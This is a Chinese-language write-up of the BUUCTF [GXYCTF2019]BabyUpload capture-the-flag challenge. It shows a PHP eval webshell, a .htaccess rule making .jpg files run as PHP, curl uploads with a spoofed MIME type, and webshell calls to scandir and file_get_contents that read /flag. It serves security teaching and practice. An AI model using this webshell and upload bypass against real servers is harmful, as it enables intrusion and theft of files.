0%

10-BUUCTF - [GXYCTF2019]BabyUpload (你传你m呢)

BUUCTF - [GXYCTF2019]BabyUpload (你传你m呢) Writeup

题目背景

该题目为一个典型的文件上传漏洞(File Upload Vulnerability),题目名为“是兄弟就来传🐎”或“你传你m呢”。主要考察了文件上传过程中的后缀限制绕过、通过 .htaccess 改变服务器解析规则以及 disable_functions 绕过(如果系统命令被禁的话,使用 PHP 内置函数)等知识点。

目标网址

http://db6e997b-1b79-49dc-b771-3ec16052b7a6.node5.buuoj.cn:81/

解题过程

1. 尝试上传 PHP 脚本

首先尝试上传一个最简单的后门 test.php:

1
<?php eval($_POST['cmd']); ?>

命令:

1
curl -i -X POST -F "uploaded=@tmp/test.php" -F "submit=一键去世" http://db6e997b-1b79-49dc-b771-3ec16052b7a6.node5.buuoj.cn:81/upload.php

服务器返回 <meta charset="utf-8">我扌your problem?,说明直接上传 .php 后缀被拦截了。

2. 绕过思路 - 利用 .htaccess

对于 Apache 等服务器,如果支持读取 .htaccess 配置(且 AllowOverride 允许),我们可以上传自定义的 .htaccess 文件,使得服务器将特定后缀(比如本题可上传的 .jpg)作为 PHP 脚本解析。

首先编写一个 .htaccess 文件:

1
AddType application/x-httpd-php .jpg

由于题目还可能对 Content-Type 进行了检验,我们需要将 Content-Type 修改为 image/jpeg 来进行欺骗上传。

命令:

1
curl -i -X POST -F "uploaded=@tmp/.htaccess;type=image/jpeg" -F "submit=一键去世" http://db6e997b-1b79-49dc-b771-3ec16052b7a6.node5.buuoj.cn:81/upload.php

服务器返回:

1
/var/www/html/upload/104a6f1573734b80dec8f6cc1d5d2973/.htaccess succesfully uploaded!

可以看到成功上传了 .htaccess,并且返回了上传的相对路径。注意保存此时请求返回的 PHPSESSID 或者直接利用返回的路径,因为题目是根据 session 创建对应文件夹存放上传文件的。

3. 上传伪装的图片木马

接下来我们将原本的 test.php 修改后缀为 .jpg,即 shell.jpg
文件内容保持不变:

1
<?php eval($_POST['cmd']); ?>

携带之前的 PHPSESSID (如果需要) 并伪造 Content-Type 发送:

1
curl -i -X POST -F "uploaded=@tmp/shell.jpg;type=image/jpeg" -F "submit=一键去世" -b "PHPSESSID=564e44f9ed3eebc12178bfaa66dfde83" http://db6e997b-1b79-49dc-b771-3ec16052b7a6.node5.buuoj.cn:81/upload.php

服务器返回成功:

1
/var/www/html/upload/104a6f1573734b80dec8f6cc1d5d2973/shell.jpg succesfully uploaded!

4. 获取 Flag

尝试通过 POST 请求发送系统命令以查看目录。由于测试发现系统命令执行函数(如 system)被禁用了,因此我们采用 PHP 内置函数进行操作。

查看根目录文件列表:

1
curl -i -X POST -d "cmd=var_dump(scandir('/'));" http://db6e997b-1b79-49dc-b771-3ec16052b7a6.node5.buuoj.cn:81/upload/104a6f1573734b80dec8f6cc1d5d2973/shell.jpg

在返回的结果中,我们发现了根目录下的 flag 文件。

读取 flag 文件内容:

1
curl -i -X POST -d "cmd=var_dump(file_get_contents('/flag'));" http://db6e997b-1b79-49dc-b771-3ec16052b7a6.node5.buuoj.cn:81/upload/104a6f1573734b80dec8f6cc1d5d2973/shell.jpg

成功拿到 flag:
flag{2d4de204-fffb-4aa8-8b03-b8192f15f242}

知识点总结

  1. 黑名单过滤:前端或后端的黑名单过滤,会阻挡 php/php5/phtml 等常见 PHP 脚本后缀。
  2. MIME 验证绕过:通过伪造 Content-Type: image/jpeg,绕过了可能存在的 MIME 检查。
  3. .htaccess 妙用:在 Apache 环境中,如果允许覆盖配置,上传包含 AddType application/x-httpd-php .xxx.htaccess 能够将非 PHP 后缀的文件强制按 PHP 代码来执行。这是非常经典的文件上传绕过手段。
  4. disable_functions 绕过:当 system 等危险的命令执行函数被禁用时,可以使用 PHP 原生的目录读取函数 scandir() 结合 var_dump() 来浏览文件系统,随后通过 file_get_contents() 来读取文件内容。